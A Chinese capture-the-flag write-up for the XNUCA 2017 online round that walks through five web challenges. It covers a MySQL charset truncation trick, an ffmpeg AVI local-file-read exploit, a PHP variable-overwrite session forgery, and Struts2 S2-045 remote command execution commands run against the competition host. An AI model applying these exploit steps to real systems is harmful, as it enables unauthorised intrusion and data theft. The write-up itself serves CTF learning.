去年有幸和L-team师傅们去了XNUCA2016决赛感受了一下线下攻防赛的氛围(自己全程端茶倒水喊666),所以今年也对这个比赛的线上赛比较有兴趣,和师傅们一起做了一下(我只会简单的orz)
0x01 No.2 让你无语的md5
进入题目是一个密码查询库界面,查看网页源码得到提示信息
<!–pav1和lloowweerrxx经常因为用同一个账号而吵起来–>
<!–pav1建数据库喜欢用默认的latin1,lloowweerrxx写程序的时候set了一下utf8,他们好像又吵起来啦–>
看到提示很容易想到是Mysql字符编码利用技巧这篇文章里提到的技巧,所以传入admin%c2得到
自己收好不要告诉别人呦
16714f297ee17b13a097a15cd229c947这个MD5有点不同啊,快去somd5一下!
去somd5解密就得到flag了
0x02 No.3 Pav1和lloowweerrxx.avi
进入题目后是一个文件上传界面,但是描述是视频转换器,测试了一下是会把上传的视频文件转换为mp4并让你下载。于是我想起来之前看吴神写的文章里有提到过一个ffmpeg的洞,试了一下果然就是利用这个洞,具体步骤如下:
1. 先去github下载漏洞的利用脚本
2. 用命令 python3 gen_xbin_avi.py file:///home/user/flag sxcurity.avi 生成exp(flag位置是题目描述里给的)
3. 上传脚本生成的avi,然后再下载转换成的mp4,打开视频就可以看到flag文件内容了
0x03 No.7 xblog
进入题目是一个blog,瞎点了几下没什么头绪,于是开御剑扫了一下(这里要吐槽一下题目后台有360卫士,扫目录后会被BAN IP),扫到个 www.zip ,因为IP被BAN了叫别的师傅给我下载了下来,得到了这个blog系统的源码。
开着seay简单扫了一下源码,发现在common.php这个文件里有个明显的变量覆盖的地方
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
session_start();
并且在 do_changepass.php,do_login.php,do_register.php,header.php,logout.php 这几个文件里都有include_once(“common.php”),跟进这几个文件,在do_changepass.php找到了得到flag的地方
$userinfo = $_SESSION["userinfo"];
if($old_pass = $userinfo['password']) {
if($userinfo["id"] == 1) {
echo "flag{xxx}";
die();
}
根据这段代码明显知道要利用之前得到变量覆盖漏洞,于是继续寻找利用点。在do_register.php里有一段代码
$userinfo["id"] = $res["id"];
$userinfo["username"] = $username;
$userinfo["password"] = $password;
$_SESSION["userinfo"] = $userinfo;
$userinfo["role"] = $res["role"];
可以看到userinfo是在此时存进session里的,所以只能在此处动手脚。
在注册时把密码设置为1同时传入userinfo=xxxx(任何值都行),此时在do_register.php的代码里$userinfo就是我们传入的字符串,在$userinfo[“id”]等赋值时,$userinfo被强制转换为数组,但是因为数组里不存在id,username等元素,所以都会被转换为$userinfo[0],可以看到在存入session前最后存入的是$password,所以把密码设置为1,就得$userinfo[“id”]=$userinfo[0]=$userinfo[“password”]=1,登录进去后得到的就是admin的账户,再去修改密码那里随便改一下密码就得到flag了。
0x04 No.21 Freecms
这个Freecms查了一下是用java写的,于是尝试了一下前段时间爆出来的St2-045远程命令执行漏洞,发现可以,于是
python St2-045.py http://9db75133a12f80d01ab66b090c4ca44e.xnuca.cn/member_login.do "find ./|grep www"
python St2-045.py http://9db75133a12f80d01ab66b090c4ca44e.xnuca.cn/member_login.do "ls /opt/apache-tomcat-8.0.44/webapps/ROOT/"
python St2-045.py http://9db75133a12f80d01ab66b090c4ca44e.xnuca.cn/member_login.do "touch /opt/apache-tomcat-8.0.44/webapps/ROOT/writeHere/402c8be7612f5e218538a5ab579d4412"
python St2-045.py http://9db75133a12f80d01ab66b090c4ca44e.xnuca.cn/member_login.do "ls /opt/apache-tomcat-8.0.44/webapps/ROOT/writeHere/"
写入成功。
写入过了一个多小时才有师傅告诉我这种靶场题还有读flag的分,然后我又回去在web目录各种爆搜flag,但是就是搜不到,结果最后在/etc/flag.txt里。。无语。。
0x05 No.16 来一发flask
不是很懂flask,但是按照这篇文章的姿势读到了这题的flag,但是文章里写的拿shell方法一直没成功,所以最后也没写入成功,只拿到了读的分,有点遗憾(